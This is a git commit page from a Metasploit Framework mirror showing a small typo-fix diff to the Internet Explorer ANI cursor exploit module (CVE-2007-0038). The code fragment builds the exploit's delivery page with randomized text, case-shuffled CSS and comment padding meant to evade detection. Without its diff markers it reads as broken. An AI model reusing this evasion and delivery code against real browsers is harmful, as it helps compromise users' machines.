infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Woops, introduced a typo 

git-svn-id: file:///home/svn/framework3/trunk@4594 4d416f70-5f16-0410-b530-b9f4589650da
unstable
HD Moore 2007-04-01 18:01:58 +00:00
parent 0cc8db610b
commit 3a8d90bb62
1 changed files with 8 additions and 4 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

12
modules/exploits/windows/browser/ani_loadimage_chunksize.rb
View File

@ -126,7 +126,7 @@ class Exploits::Windows::Browser::IE_ANI_CVE_2007_0038 < Msf::Exploit::Remote
html =
"<html><head><title>" + rand_text_alphanumeric(rand(128)+4) +
"</title></head><body>" + rand_text_english(1) +
"</title></head><body>" + rand_text_english(rand(1024)+1) +
"<div style='" +
generate_css_padding() +
Rex::Text.to_rand_case("cursor") +
@ -136,14 +136,16 @@ class Exploits::Windows::Browser::IE_ANI_CVE_2007_0038 < Msf::Exploit::Remote
Rex::Text.to_rand_case("url(") +
generate_css_padding() +
'"' +
get_resource + '/' + rand_text_alphanumeric(rand(80)+16) + ".#{gext}" + '"' +
get_resource + '/' + rand_text_alphanumeric(rand(80)+16) + ".#{gext}" +
'"' +
generate_css_padding() +
");" +
generate_css_padding() +
"'>" +
generate_padding() +
"</div>"
end
send_response_html(cli, html)
return
end
@ -249,8 +251,10 @@ class Exploits::Windows::Browser::IE_ANI_CVE_2007_0038 < Msf::Exploit::Remote
end
def generate_css_padding
return ''
buf =
((rand(2) == 0) ? generate_whitespace()) +
generate_whitespace() +
"/*" +
generate_whitespace() +
generate_padding() +